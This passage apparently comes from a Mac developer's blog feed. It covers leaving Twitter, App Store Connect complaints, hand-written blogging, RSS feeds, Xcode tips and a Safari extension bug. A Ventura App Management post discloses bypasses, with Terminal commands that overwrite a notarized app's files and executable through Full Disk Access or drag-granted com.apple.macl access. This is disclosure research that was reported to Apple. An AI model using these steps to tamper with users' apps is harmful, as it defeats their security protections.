I've felt that at times — many times! — Twitter brought out the worst in me. I struggled to be "my best self" on Twitter. Admittedly, I struggle to be my best self almost everywhere, but Twitter was the worst situation for that. The incentives on Twitter are perverse: the short character limits, the statistical counts of retweets and likes, the unknown followers and readers, the platform and publicity all conspire to corrupt you, to push you toward superficial tweets that incite the crowd. Twitter is an audience, which means that tweeting is a performance, and tweeters are actors. It's unnatural. If you could design a system from scratch in order to produce the least friendly, least intelligent, least thoughtful "conversation" in the world, you'd probably come up with something a lot like Twitter.

Many people blame "the algorithm" for making Twitter unpleasant. I don't believe it's the algorithm, as I've always used the reverse chronological feed exclusively. For better or worse, your Twitter experience depends largely on your following and followers. Even with the "algorithmic" feed, a lot of the crap that Twitter inserts is based on the interests of your following. The accounts you follow are constantly tweeting or retweeting what they consider important, what they think you should see, what angers them, what they think should anger you. What makes Twitter an anger generating machine? Well, we do! "For a good cause", we think, but it's still caused by us. It's not the "algorithm" that tweets QT dunks, forcing unpleasant content into your feed. It's your own following doing the QT dunking! "This is unconscionable, horrible, … and you should see it." Wow, thanks. With friends like these, who needs enemies, because your friends invite your enemies into your feed. It's your own following who are constantly preaching to the converted. (I've done it myself, sadly. And got a lot of attention for it, reinforcing the behavior.) It's your own followers with drive-by replies, offering unsolicited advice, asking questions with answers they could Google, or arguing with everything you say. All it takes is one follower to put you in a bad mood, and the odds aren't good when you have thousands of followers. I should say that none of this is intended as a judgment of individual persons; individually, people tend to act better than they do collectively. Twitter is a collective, and the way the system is designed causes us to be the worst versions of ourselves. We don't behave the same way in private with a small group of friends that we do in public with a large group of strangers.

As you consider alternatives to Twitter, I hope you'll consider that wanting something else like Twitter might be an unhealthy desire. Perhaps social media is a passing fad that had a decent decade or two, ran its course, eventually wore out its welcome, and now deserves to fade away. Scrambling desperately for a Twitter alternative might just be a sign of an addiction that's better broken than fed. Consider the alternative of avoiding social media altogether. You can live without it. I would argue that you can live better. You'll get nothing, and like it!

Addendum

Why did I leave Twitter? My biggest fear about the Twitter acquisition had quickly become an incontrovertible reality: the new right-wing ownership group of Twitter intended to exploit the service to promote political propaganda. Ask yourself why Larry Ellison for example, who tweeted once ten years ago but regularly funds right-wing causes, offered the Muskrat a blank check to purchase Twitter. Where Trump failed to create a popular social network of his own, the Muskrat used his greater wealth to purchase a preexisting one. (And while I was writing this blog post, revoked Trump's permanent Twitter ban.) Morally speaking, I can't play any role in supporting that endeavor.

Musk is an obvious fraud. I'm not criticizing his cars or his rockets, I'm criticizing his so-called ideals. Selling luxury priced cars to tech bros is not the same as saving the Earth, and launching tons of stuff into orbit is not the same as populating Mars. Neither of those goals is within reach. The fact that Muskrat has openly aligned himself with the science denying, climate change denying, regulation denying Republican Party invalidates everything he claims to believe in. I can understand not liking the Democratic Party; I don't like it either! Both major US political parties are almost wholly owned by their wealthy campaign donors and give only lip service to the principles they supposedly represent. However, the Republican Party doesn't even pretend that it's opposed to the further destruction of the environment in order to serve unregulated industrial production and unmitigated greed. And how does it make sense for a space pioneer to support a political party currently dominated by Young Earth Creationists?

If Musk cares about the environment, then why doesn't he support the Green Party, for example? Musk's fame, and more importantly his vast wealth, could put the Green Party on the political map and put pressure on the current political duopoly. If he so chose. But that's not what he chose. Instead, Muskrat has decided that "the woke mind virus", whatever the hell that's supposed to mean, is the greatest enemy, and I guess that racial justice is somehow supposed to prevent us from populating Mars, as opposed to, say, the lack of life, water, and oxygen, the gravity less than 40% Earth, and the millions of miles separating the the two planets.

It's unclear whether humans can even survive long term in the much lower gravity of Mars. Our bodies are not adapted for that environment. We already know that the zero g of space isn't good for human health. In any case, Mars is more inhospitable to life right now than the Earth was after the dinosaur extinguishing asteroid hit. Life did survive that disaster. Mars is supposed to be a backup in case of disaster, but it's actually a terrible backup. Like dropping your computer backup drive into an active volcano. At least it's offsite, amirite! If we want to plan for the worst, it makes a lot more sense, and would be nearly infinitely easier and cheaper, to build underground and underwater cities on Earth than to build cities on Mars. Only overgrown children who read too much science fiction believe Mars is a good idea. Mars has no practical advantage, only a superior "coolness" factor that attracts the space nerds. The reality is that the Earth may be humanity's only viable home… forever. So let's not waste it.

Back to the cars. What the hell does self-driving have to do with saving the environment? I know that tech bros think it's super cool, and they're willing to throw money at it, thereby making the Muskrat super wealthy, but that doesn't make the cars affordable for mass adoption and replacement of the internal combustion engine. You'd think that if the environment was the priority they'd skip all the bells and whistles, aiming for the cheapest possible electric car. I hear from the Muskrat cult that "This is the plan… eventually." Yeah, just like Mars. Keep kicking the can down the road, pretend to be following some noble goals, and meanwhile it's business as usual in the greed department. What I see from the Muskrat is a person who appears to care about one thing above all else: not the Earth, not even Mars, but rather himself, his own money, power, and self-aggrandizement. Purchasing Twitter places himself at the center of public attention and political power, while having nothing whatsoever to do with saving humanity. I'm starting to think that humanity needs saving from him.

]]>
App Store Connect is the worst web site ever made, Part 3 https://lapcatsoftware.com/articles/crappstoreconnect3.html 2022-11-12T15:15:00Z 2022-11-12T15:15:00Z I complained about App Store Connect a few days ago, and I'm already back to complain about it again. While preparing an app update for submission, I discovered that What's New in This Version no longer accepts the < character.

This < is not allowed.

On the other hand, it does still accept the > character.

This > is not allowed.

This is a problem for me because the release notes of my web browser extension StopTheMadness sometimes need to mention HTML elements. Indeed, StopTheMadness has a specific feature that allows you to add custom HTML <script> and <style> elements to the page. I've filed FB11781987 with Apple about this issue.

I suspect < was forbidden because it's a special HTML that indicates the beginning of an element. Yet every other website in the world, including this very blog post, has figured out how to escape characters in HTML.

&lt;

Imagine if Facebook or Twitter didn't allow you to post < characters. Well, perhaps Twitter isn't the best example, because it will do lots of dumb things in coming months. Anyway, App Store Connect has done lots of dumb things in recent months. I can't believe we developers have to pay $99 per year for this crap! Which coincidentally is $8 per month…

]]>
App Store Connect just got worse. But I made it better. https://lapcatsoftware.com/articles/crappstoreconnect2.html 2022-11-10T22:45:00Z 2022-11-10T22:45:00Z App Store Connect is the web site that members of the Apple Developer Program use to manage their App Store apps. I check it daily to see yesterday's sales numbers (live App Store sales numbers are haphazard at best and have stopped working entirely the past week) and to check for new App Store user reviews of my apps. Inexplicably, Apple provides no email notification service for these, so developers have to check manually. The site runs incredibly slowly, with pages taking forever to load — it feels like it's running on ancient hardware — and the user interface is atrocious. But the worst part of App Store Connect is this:

"Remember me", but it doesn't remember me. The checkbox simply doesn't work. Why? Simple answer: App Store Connect uses session cookies, which expire and disappear from your web browser when the current session ends, such as when you quit the browser or close all of the windows. Thus, you have to login anew every time. This is not an April Fools joke, it's real! I'm writing on March 31.

Every other non-Apple web site in the world that I login to remembers me between browser sessions, indeed effectively forever until I logout. That's how it should be, and the simple solution for App Store Connect would be to use permanent cookies, like every other web site, instead of session cookies. The irony is that App Store Connect requires Two Factor Authentication, which means that there's even more security and thus even less reason to expire login cookies.

A related problem is that App Store Connect periodically expires the Two Factor Authentication too, and forces you to go through that process again! (Usually at the most personally inconvenient time, and every Apple device in your home simultaneously makes a startling noise.) This doesn't happen with every session, but Apple tends to prompt you at least once a month. Again, this is unlike every other non-Apple web site in the world, which only prompts you for Two Factor Authentication the first time you login.

Apple has an App Store Connect app in the iOS App Store, but there's no Mac version of the app, so developers are forced to use a web browser on the desktop.

Every member of the Apple Developer Program (except a few exempt non-profit organizations who have submitted the extensive paperwork) pays $99 USD per year, and every developer who accepts payments in the App Store pays Apple a 30% or 15% cut of those payments (the amount depending on subscription status or Small Business Program membership). These payments add up to billions of dollars per year for Apple. I can say with the certainty of experience that Apple is not investing this money in crucial developer services such as App Store Connect. We developers are getting ripped off. And don't even get me started on Apple's nearly worthless "developer support"…

I'm talking about this not just to complain but hopefully to raise a big public stink, get Apple's notice, and prompt them to make the simple change of using permanent cookies instead of session cookies for App Store Connect login, thereby offering some relief to Apple developers who have to use the worst web site ever made, no contest.

]]>
I'm starting a company blog and Slack https://lapcatsoftware.com/articles/Blog-Slack.html 2022-11-03T13:30:00Z 2022-11-03T13:30:00Z I started this as a personal programming and technical blog, and I'd like to keep it that way. I write many articles that are of interest only to programmers, such as the recent How to regenerate Xcode managed provisioning profiles. However, since I've become an indie developer, I also want to write about my software. Some of the articles I've written here were intended for a different audience — customers and potential customers, who are not necessarily programmers — and these articles may feel like "spam" to some of my longtime readers. Therefore, I've decided to start a separate blog on my company site where I'm free to write about my products without annoying the programmers who are here only for the technical stuff. Of course, you're welcome to follow both blogs!

The first article on my company blog is Substitute web fonts with StopTheMadness, so please check it out if you're interested. You can subscribe to the new blog's RSS feed.

I've also decided to create a Slack for support of StopTheMadness and my other apps. Anyone can join for free! Slack participants will be able to talk directly to me and to other users, get support, see timely announcements, and share tips.

In addition to the support channels, my new Slack has a separate "Tech Talk" channel, where I'll casually chat about tech-related subjects, much like Twitter, except controlled by me, and without all the bad parts of Twitter! You're welcome to join the Slack for the support, for the chat, or for both.

]]>
Blogging without a blogging engine https://lapcatsoftware.com/articles/blogging.html 2022-11-02T14:10:00Z 2022-11-02T14:10:00Z Many years ago I had a self-hosted WordPress blog, but that became a pain because I had to keep installing WordPress security updates to patch vulnerabilities. Also, I had to customize the WordPress code somewhat to suit my preferences. For a few years I stopped blogging entirely, and when I eventually restarted I decided that I wanted a very low maintenance blog. So dispensing with all blogging engines, I created the simplest possible blog that I could write "by hand". If you're thinking of self-hosting your content — it's wise to avoid becoming dependent on giant, impersonal, globally centralized services — then you can design your own simple blog too if you have a little technical knowledge. If you're intimidated by the blogging engine choices, you can just choose none of the above!

I write all of my blog posts in plain HTML using BBEdit. It doesn't suck.® I start a blog post with a template, which looks like this.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="stylesheet" type="text/css" href="style.css">
<meta name="viewport" content="initial-scale=1.0">
<title>TITLE</title>
</head>
<body>
<nav><a href="index.html" title="The Desolation of Blog">Articles index</a></nav>
<header><a href="https://lapcatsoftware.com">Jeff Johnson</a> (<a href="https://underpassapp.com">My apps</a>, <a href="https://www.paypal.me/JeffJohnsonWI">PayPal.Me</a>)</header>

<h1>TITLE</h1>
<h3>DATE</h3>
<p></p>

<header><a href="https://lapcatsoftware.com">Jeff Johnson</a> (<a href="https://underpassapp.com">My apps</a>, <a href="https://www.paypal.me/JeffJohnsonWI">PayPal.Me</a>)</header>
<nav><a href="index.html" title="The Desolation of Blog">Articles index</a></nav>
</body>
</html>

I fill in the blog post title in <title></title> and <h1></h1>, the date in <h3></h3>, and start writing the text in <p></p>. There's no JavaScript at all, so writing a blog post requires only knowledge of HTML syntax.

I also add an entry for the blog post to the index.html file. This is simply a table row with the date, file name of the blog post, and title.

<tr><td>DATE</td><td><a href="FILE">TITLE</a></td></tr>

It's really that simple! When I'm finished writing the blog post, I upload the file along with any images or file attachments to my web server, and then I upload the modified index.html file with the new blog post entry.

My blog is totally static, which means that it can easily withstand massive traffic surges caused by Fireballing or the Hacker News front page. These have both happened to me! No sweat. My site remained responsive the whole time.

What about RSS, you ask? It should comes as no surprise at this point that I also write my RSS by hand. This is a bit more "dangerous", because unlike HTML, XML is completely unforgiving, so you need to be careful. I personally use the W3C Feed Validation Service to check my RSS before I publish it. There are actually a few different RSS feed formats; the two most popular are Atom and — just to be confusing — RSS. The choice doesn't matter much, and either one is supported by every feed reader. I personally prefer Atom for my blog. So I have an atom.xml file on the server too. The RSS looks like this at the beginning.

<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>The Desolation of Blog</title>
<subtitle>The personal blog of Jeff Johnson.</subtitle>
<author>
<name>Jeff Johnson</name>
<uri>https://lapcatsoftware.com/</uri>
</author>
<id>http://lapcatsoftware.com/articles/</id>
<link rel="self" type="application/atom+xml" href="https://lapcatsoftware.com/articles/atom.xml"/>
<link rel="alternate" type="text/html" href="https://lapcatsoftware.com/articles/index.html"/>

<updated>2022-11-01T18:25:00Z</updated>

I need to update the <updated></updated> date whenever I publish a new blog post. In the RSS feed, each entry also starts with a template.

<entry>
<title>TITLE</title>
<id>URL</id>
<link rel="alternate" href="URL"/>
<published>DATE</published>
<updated>DATE</updated>
<content type="html"><![CDATA[

]]></content>
</entry>

The CDATA section allows me to copy the HTML of the blog post and paste it into the XML of the RSS feed without having to escape the HTML.

In summary, here's my process for writing a new blog post.

  1. Create a new HTML file from a template
  2. Add a new table row to the index.html file
  3. Add new entry from a template to the RSS feed
  4. Copy the HTML from the blog post into the feed entry
  5. Update the feed updated date
  6. Upload the files to my web server
  7. git commit

Oh yeah, I keep my whole blog in a git repository.

I've been doing this for almost ten years now, and I think it works great for me. I accomplished my goal of having a very low maintenance blog. For the technically inclined who are looking for a low maintenance blogging option, I can recommend the "no engine" solution. You don't need an engine to start blogging!

]]>
A list of Apple-related RSS feeds https://lapcatsoftware.com/articles/RSS.html 2022-11-01T18:25:00Z 2022-11-01T19:10:00Z If you want to reduce your reliance on Twitter, consider RSS. In a way, RSS feeds are what Twitter ought to be: a reverse chronological list containing only content that you chose to follow. (Indeed, Twitter had RSS feeds until 2012.) Below is a list of some RSS feeds that might be useful to Apple developers and others with a strong interest in Apple. Many other sites also have RSS feeds, though it's not always clear where they are, so you may have to dig to find them. And if you run a site yourself, please provide RSS support, otherwise your site may be totally dependent on Twitter.

Me

My blog: https://lapcatsoftware.com/articles/atom.xml
My app updates: https://underpassapp.com/updates.rss

Apple

Press releases: https://www.apple.com/newsroom/rss-feed.rss
Developer news: https://developer.apple.com/news/rss/news.rss
Software releases: https://developer.apple.com/news/releases/rss/releases.rss
WebKit: https://webkit.org/blog/feed/

Xcode releases

https://xcodereleases.com/api/all.rss

From https://xcodereleases.com (not affiliated with Apple). An earlier version of this blog post incorrectly said there was no RSS feed. I apologize for the error!

Jobs

iOS Dev Jobs: https://iosdevjobs.com/jobs.rss
We Work Remotely: https://weworkremotely.com/categories/remote-programming-jobs.rss

News and commentary

512 Pixels (Stephen Hackett): https://512pixels.net/feed/
9to5Mac: https://9to5mac.com/feed/
AppleInsider: https://appleinsider.com/rss/news
Ars Technica: https://feeds.arstechnica.com/arstechnica/index/
CNBC Technology: https://search.cnbc.com/rs/search/combinedcms/view.xml?partnerId=wrss01&id=19854910
Cult of Mac: https://www.cultofmac.com/feed/
Daring Fireball (John Gruber): https://daringfireball.net/feeds/main
Engadget: https://www.engadget.com/rss.xml
FOSS Patents (Florian Mueller): http://www.fosspatents.com/feeds/posts/default
Gizmodo: https://gizmodo.com/rss
iMore: https://www.imore.com/rss.xml
iPhone in Canada: https://www.iphoneincanada.ca/feed/
Kirkville (Kirk McElhearn): https://kirkville.com/feed/
The Loop: https://www.loopinsight.com/feed/
MacInTouch: https://www.macintouch.com/feed/
The Mac Observer: https://www.macobserver.com/feed/everything/
Macworld: https://www.macworld.com/feed
MacRumors: http://feeds.macrumors.com/MacRumors-All
Mac Performance Guide (Lloyd Chambers): https://macperformanceguide.com/news.xml
MacSparky (David Sparks): https://www.macsparky.com/blog/category/not-labs/feed/
MacStories: https://www.macstories.net/feed/
Mr. Macintosh: https://mrmacintosh.com/feed/
New York Times Technology: https://www.nytimes.com/svc/collections/v1/publish/https://www.nytimes.com/section/technology/rss.xml
OS X Daily: https://osxdaily.com/feed/
Pixel Envy (Nick Heer): https://feedpress.me/pxlnv
The Register: https://www.theregister.com/headlines.atom
The Robservatory (Rob Griffiths): https://robservatory.com/feed/
Six Colors: https://feedpress.me/sixcolors
TechCrunch: https://techcrunch.com/feed/
TidBITS: https://tidbits.com/feed/
Michael Tsai: https://mjtsai.com/blog/feed/
The Verge: https://www.theverge.com/rss/index.xml

GitHub

You can get an RSS feed from a GitHub commits URL by adding .atom at the end.

WebKit commits on main branch: https://github.com/WebKit/WebKit/commits/main.atom

Hacker News

There's a list of HN feeds at https://hnrss.github.io/

Hacker News Front Page: https://hnrss.org/frontpage?count=100&link=comments

Reddit

As documented by https://www.reddit.com/wiki/rss/, you can get an RSS feed from a Reddit URL by adding /.rss at the end.

Reddit r/apple: https://www.reddit.com/r/apple/.rss
]]>
How to regenerate Xcode managed provisioning profiles https://lapcatsoftware.com/articles/provisioning.html 2022-10-27T16:45:00Z 2022-10-27T16:45:00Z This is a follow-up to my article Check your App IDs for unused capabilities. The other day I was about to upload a new build of StopTheMadness to App Store Connect, but at the last minute I noticed that the build still had the Game Center entitlement, even though I had already removed the entitlement from my AppID. Where was it coming from?

Closely inspecting the contents of the app bundle, I discovered a stale provisioning profile that still had the Game Center entitlement. The problem, though, is that Xcode is supposed to automatically manage the provisioning profile, so there didn't appear to be any way for me to manually regenerate it.

Xcode Managed Profile

The info (i) button displays the profile.

Mac Team Provisioning Profile

The little "PROV" image is actually a document proxy, though I have no idea why it shows the System Preferences icon. You can drag the document proxy to reveal the location of the .provisionprofile file, which turns out to be in the ~/Library/MobileDevice/Provisioning Profiles/ folder. So all you have to do is quit Xcode and delete the file. Then the next time you build the project, Xcode will generate a new provisioning profile. Problem solved!

]]>
How macOS Ventura App Management works and doesn't work https://lapcatsoftware.com/articles/AppManagement.html 2022-10-24T19:25:00Z 2022-10-24T19:25:00Z Apple's Worldwide Developer Conference (WWDC) session What's new in privacy introduced a new security feature in macOS Ventura called App Management. Here's an excerpt from the session transcript.

Gatekeeper checks the integrity of newly-downloaded apps. In macOS Ventura, Gatekeeper will now check the integrity of all notarized apps, not just quarantined apps.

First, apps need to be properly signed. Starting with macOS Ventura, if your notarized app is no longer validly signed, it will be blocked by Gatekeeper on first launch. You should sign all your executables and bundles and ensure that their signatures stay valid when you make changes to your apps. In addition to an integrity check, Gatekeeper will also prevent your app from being modified in certain ways.

The most common way apps are modified is for updates. Apps validly signed by the same developer account or team will continue to be able to update each other. This will just work.

To allow another development team to update your app or restrict updates to only your updater, you can update your info-plist. For example, here, Unrelated App can allow Pal About to update it with just a plist change.

Simply add the NSUpdateSecurityPolicy you want to allow. Within NSUpdateSecurityPolicy, add “AllowProcesses”, a dictionary mapping team identifiers to an array of signing identifiers. In this example, the policy allows any process with the signing identifier com.example.pal.about signed by Pal About's team identifier to update your app. If an app is modified by something that isn't signed by the same development team and isn't allowed by an NSUpdateSecurityPolicy, macOS will block the modification and notify the user that an app wants to manage other apps. Clicking on the notification sends people to System Settings, where they can allow an app to update and modify other apps.

Under Privacy & Security in System Settings — don't even get me started on System Settings — you can find the new section App Management. By default, it's an empty list. (Disclaimer: These screenshots were taken on a non-retina monitor, but any other crappiness is attributable to Ventura.)

App Management, no items

For illustration, I'll use my open source Mac app Bonjeff, which has been notarized by Apple, and I'll attempt to modify the app's license file, which is located at the file path /Applications/Bonjeff.app/Contents/Resources/LICENSE.txt inside the app bundle. I've written a "maliciously crafted" test app to modify the license file using the Objective-C -[NSString writeToFile: atomically: encoding: error:] API. Here's some code to replace the contents of the license file with the string "Testing":

[@"Testing"
  writeToFile: @"/Applications/Bonjeff.app/Contents/Resources/LICENSE.txt"
  atomically: NO
  encoding: NSUTF8StringEncoding
  error: NULL];

When I run the test app containing this code, I get a Privacy & Security system notification saying that my test app "was prevented from modifying apps on your Mac."

VenturaTest.app was prevented from modifying apps on your Mac.

When I hover over the notification, I see a close button and an Allow… button.

VenturaTest.app was prevented from modifying apps on your Mac. Allow...

The Allow… button doesn't actually allow modification, it simply opens the App Management section in System Settings.

App Management, VenturaTest, disabled

Bonjeff is still validly code signed and hasn't been modified.

% codesign --verify --verbose /Applications/Bonjeff.app
/Applications/Bonjeff.app: valid on disk
/Applications/Bonjeff.app: satisfies its Designated Requirement

If I want to give my test app permission to modify other apps, I have to enter my administrator password.

Privacy & Security is trying to modify your system settings. Enter your password to allow this.
VenturaTest.app will not be able to update or delete other applications until it is quit. You can choose to quit VenturaTest.app now, or do it on your own later.
App Management, VenturaTest, disabled

After my test app relaunches, it is able to modify Bonjeff app successfully.

% codesign --verify --verbose /Applications/Bonjeff.app
/Applications/Bonjeff.app: a sealed resource is missing or invalid
file modified: /Applications/Bonjeff.app/Contents/Resources/LICENSE.txt

Nonetheless, the modified Bonjeff app still launches successfully, which raises questions about Apple's explanation of the feature. The WWDC session said, "Starting with macOS Ventura, if your notarized app is no longer validly signed, it will be blocked by Gatekeeper on first launch." How does the "first launch" qualifier make Ventura different from previous versions of macOS? In my testing, the difference seems to be that Ventura will block the first launch of a modified notarized app even if the quarantine extended attribute (xattr) was removed from the app, whereas Monterey and earlier will only block the first launch if the modified notarized app is still quarantined. (The quarantine is added by your web browser when you download the app.)

Bonjeff.app is damaged and can't be opened. You should move it to the Trash.

It's unclear how much of a barrier this poses to attacks, however, because the app could be allowed to run first unmodified before it's then maliciously modified and run again. I've seen it claimed elsewhere that Ventura will block any launch of a notarized app if its code signature has been broken, but this is proven untrue in testing.

We've examined what happens when a maliciously crafted app attempts to modify another notarized app. But what if I try to modify the notarized Bonjour app directly from the Terminal app; is that also prevented? Well, it depends! By default, it is prevented.

% echo "Testing" > /Applications/Bonjeff.app/Contents/Resources/LICENSE.txt
zsh: operation not permitted: /Applications/Bonjeff.app/Contents/Resources/LICENSE.txt
Terminal.app was prevented from modifying apps on your Mac.
App Management, Terminal, disabled

Now I'll try again, but this time granting full disk access to Terminal. (I've restored the original, unmodified version of Bonjeff in Finder for this additional test.)

Full Disk Access, Terminal, enabled
% echo "Testing" > /Applications/Bonjeff.app/Contents/Resources/LICENSE.txt
% codesign --verify --verbose /Applications/Bonjeff.app
/Applications/Bonjeff.app: a sealed resource is missing or invalid
file modified: /Applications/Bonjeff.app/Contents/Resources/LICENSE.txt

It turns out that full disk access automatically entails app management permission. This is true even if app management permission is disabled for Terminal in System Settings! So the user interface can be misleading.

Regular readers of my blog may remember that a month ago I wrote about how every unsandboxed app has Full Disk Access if Terminal does. I had a bit of a "hidden agenda" behind that blog post, because it was preparation for this blog post! If Terminal app is granted full disk access, as it frequently is by Mac "power users", then Terminal is thereby granted app management on Ventura. Consequently, any unsandboxed app is also granted app management permission on Ventura, because an unsandboxed app can "piggyback" on Terminal's permissions by running a shell script in Terminal.

By the way, I reported all of my findings to Apple Product Security, including the App Management implications on Ventura, before publishing last month's blog post. To their credit, Apple Product Security was patient and responsive to my multiple emails exploring the issue, and seemed genuinely curious about it. In the end, though, they didn't see a problem: "After examining your report further, we do not see any actual security implications. This is because using Full Disk Access to modify an app in Terminal is expected behavior."

I may have the last laugh, though, because in the process of writing this blog post, I found a new App Management bypass that doesn't require full disk access. I won't discuss the details of that here (I sent them to Apple Product Security a few days ago), but I will discuss one more thing. Surprisingly, there are at least six different ways for an app to acquire app management permissions, four of which I've already mentioned above.

  1. Same Developer ID code signing certificate as the modified app
  2. NSUpdateSecurityPolicy in the modified app's Info.plist file
  3. App Management permission in System Settings
  4. Full Disk Access in System Settings
  5. com.apple.macl extended attribute
  6. [redacted]

I blogged about the fifth, the com.apple.macl extended attribute, a few years ago when it was introduced in macOS Catalina. A file typically acquires the xattr as the result of a user action in Finder, such as drag and drop. You can see this if you disable Full Disk Access for Terminal, disable App Management for Terminal, and then enter the following.

% echo "Testing" > 

This time don't type /Applications/Bonjeff.app/Contents/Resources/LICENSE.txt but instead drag the file itself from Finder into Terminal, which will automatically add the file path at the end of the command. Even though Terminal no longer has any explicit app management permission, it now works, and Terminal can modify the file! Not only that, but Terminal will continue to have permission to modify the file indefinitely, after quit and relaunch. In fact, you can't remove access without disabling System Integrity Protection (SIP).

% xattr -l /Applications/Bonjeff.app/Contents/Resources/LICENSE.txt
com.apple.macl:

It happens with the containing directory too! Enter the following in Terminal.

% ls -@lR 

Then drag the Bonjeff app from Finder into Terminal and run the command. Now it's game over for App Management.

% echo "Testing" > /Applications/Bonjeff.app/Contents/MacOS/Bonjeff
% cat /Applications/Bonjeff.app/Contents/MacOS/Bonjeff
Testing

Dragging the app (which is a package) into Terminal adds a com.apple.macl xattr to the app and gives Terminal access to everything inside the app, permanently. This makes macl a minefield. Actions that users perform can leave little silent macl attributes all over the place on disk, and the users are none the wiser. You can't even easily tell which app is granted access by a macl, because the structure of the value is opaque and undocumented. Your file system is now a random collection of little special permissions that you can neither view nor remove. Welcome to the future of macOS security.

]]>
Mac indie dev alliance https://lapcatsoftware.com/articles/alliance.html 2022-10-21T17:25:00Z 2022-10-21T17:25:00Z Small indie developers have always relied on word of mouth recommendations, because we don't have big budgets for paid advertising. Ironically, in the App Store era we may have become even more dependent on word of mouth recommendations, because App Store top charts favor cheap crap and massive hype over sustainable artisanship, while crowdsourced App Store ratings and reviews have largely supplanted software reviews in the traditional tech news media, which we benefited from a lot more in the past. To stay in business, small indie devs face two tough tasks: (1) making consumers aware of our software and (2) convincing consumers to trust us enough to buy our software. As a small indie dev myself, I've of course given much thought to these tasks, and recently I had an idea: what if, instead of each developer taking on these tasks alone, we collaborated?

I want to be clear from the start: I am not proposing an alternative app store. Nor am I proposing an app listing site such as MacUpdate or VersionTracker. What I am proposing is a trade association of indie Mac developers for mutual support and referral. Logistically, the level of commitment would be small. My idea was to create a (static) web site for the group, and then each member of the group would add a reference to the group on their own business web sites. So your site would say "Member of the Mac indie dev alliance" (or whatever we choose to call it), along with a link to the group's site, and maybe the group's logo if we chose to create a logo. I would expect there to be a small annual fee to cover the costs of hosting the group web site. I'm not opposed to personally administering the site, but neither am I opposed to someone else administering it; these technical details could be decided later.

What are the benefits of this trade association? First, it could help with app discovery. It's one more way of discovering software, and crucially a way that's independent of the App Store, independent of the news media, a way that's in our own hands. If a consumer discovers one indie app, however that occurred, it can then lead to the discovery of other indie apps. In a way, it's kind of like Amazon's "if you purchased this item, then you may also like…" except that Amazon's recommendations suck, and ours wouldn't! My intention would be to keep the group's membership relatively small and "curated". It would be a group of Mac developers who know each other and trust each other. A large, random group wouldn't have the same effectiveness; that would dilute discovery, and also dilute the recommendation factor. The group's web site would not be a list of apps per se, it would be a list of Mac developer members, though naturally there would be some space provided for the developers to mention and describe their software. The exact details of this would be decided by consensus of the group.

The second benefit of the trade association would be to inspire consumer confidence. Small indie devs are largely unknown to the public. A consumer may discover your software in one of many ways, but the consumer may still have doubts about trusting an unknown developer. It may help to know that you're part of a respectable business group. And even if consumers don't know you individually, they may know one or more of the other developers in the group. We can all vouch for each other!

The proposed indie developer alliance would be open to Mac developers both inside and outside the Mac App Store. My own apps are all in the App Store. Again, I am not proposing to replace or compete with the App Store. Each developer would continue to sell their own software in the same ways they've always been selling their software. The Mac indie dev alliance is just a way to hopefully help us sell even more.

Why is this group restricted to Mac developers? Well, I'm not really opposed to including iOS developers in principle. After all, I have some apps in the iOS App Store myself. I am worried about the size of the group. As I said earlier, my intention was to keep the membership relatively small, and the group would be much less effective at its intended purposes if it became too large. I'm also worried about the future of Mac software, given the dominance of iPhone and the continuing iOS-ification of the Mac. Thus, I feel that Mac developers are in need of more help right now. And the app discovery factor is more targeted if it's restricted to Mac developers: consumers who buy one Mac app are likely to be interested in other Mac apps. So I would say that the possibility exists of including indie iOS devs, but it remains to be seen whether that's practicable and advisable.

I've heard from a few Mac developers already who are interested in this idea. However, I don't think it can get off the ground unless there's more interest. The right size of the group is crucial: not too big, but not too small either. So if you're an indie Mac developer, and you're interested in this idea, please contact me. I expect that we would eventually need to arrange some form of group communication such as an email list or Slack to conduct discussions, if it looks like the idea might move forward. I'm definitely open to suggestions! This wouldn't be a dictatorship but rather an alliance of equals.

]]>
Works as currently designed https://lapcatsoftware.com/articles/works.html 2022-10-08T19:15:00Z 2022-10-08T19:15:00Z On September 1, I filed a bug with Apple's Feedback Assistant (FB11426949) about Safari extensions titled "Web Extension storage callbacks in the wrong order". Usually Apple will email you when your feedback status changes, but in this case they didn't notify me. Instead, while I was manually browsing my bug reports I discovered that the status of my feedback had changed. I guess that Apple was ashamed to email me, because the "resolution" of the feedback was "Investigation complete - Works as currently designed". Apple didn't explain the "design" or leave any comment whatsoever on my feedback. This is truly baffling and frustrating.

I'll quote my full bug report here, and you can judge for yourself whether or not this is a bug.

In a Safari web extension on both macOS 12 and iOS 15 (I filed this bug under Mac because there was no cross-platform category), if you call storage.local.set and then storage.local.get, the callbacks are called in the opposite order, and indeed the opposite order from Chrome and Firefox extensions. Attached is a sample Xcode project demonstrating the bug. Just build and run the extension in Safari, and open the web inspector console.

Expected results:

[Log] first (content.js, line 6)
[Log] second – "bar" (content.js, line 9)

Actual results:

[Log] second – undefined (content.js, line 9)
[Log] first (content.js, line 6)

As you can see, the wrong callback order results in undefined rather than the expected result, which is bad. You can use the same sample web extension in Safari, Chrome, and Firefox to compare results. If you look at the online documentation for the extension storage API from Mozilla and Google, you can see that their examples depend on the callbacks occurring in the right order.

https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set

browser.storage.local.set({kitten, monster})
  .then(setItem, onError);
 
browser.storage.local.get("kitten")
  .then(gotKitten, onError);
browser.storage.local.get("monster")
  .then(gotMonster, onError);

https://developer.chrome.com/docs/extensions/reference/storage/

chrome.storage.local.set({key: value}, function() {
  console.log('Value is set to ' + value);
});

chrome.storage.local.get(['key'], function(result) {
  console.log('Value currently is ' + result.key);
});

You can download the sample Xcode project I mentioned in the bug report. Below is the source of the extension content script.

(function() {
'use strict';

if (typeof browser === "object") {
    browser.storage.local.set({"foo": "bar"}).then(() => {
        console.log("first");
    });
    browser.storage.local.get("foo").then((result) => {
        console.log("second", result.foo);
    });
} else if (typeof chrome === "object") {
    chrome.storage.local.set({"foo": "bar"}, function() {
        console.log("first");
    });
    chrome.storage.local.get("foo", function(result) {
        console.log("second", result.foo);
    });
}

})();

By design, Safari web extensions use the same cross-platform API as Chrome and Firefox extensions so that extension developers can share code across browsers and easily port their extensions to Safari from other browsers. Thus, a behavioral difference between Safari and the other browsers means that extension developers can't share code, defeating the fundamental design of Safari web extensions. For this reason alone, I would argue that the behavior of Safari extension storage callbacks is a bug and not a feature.

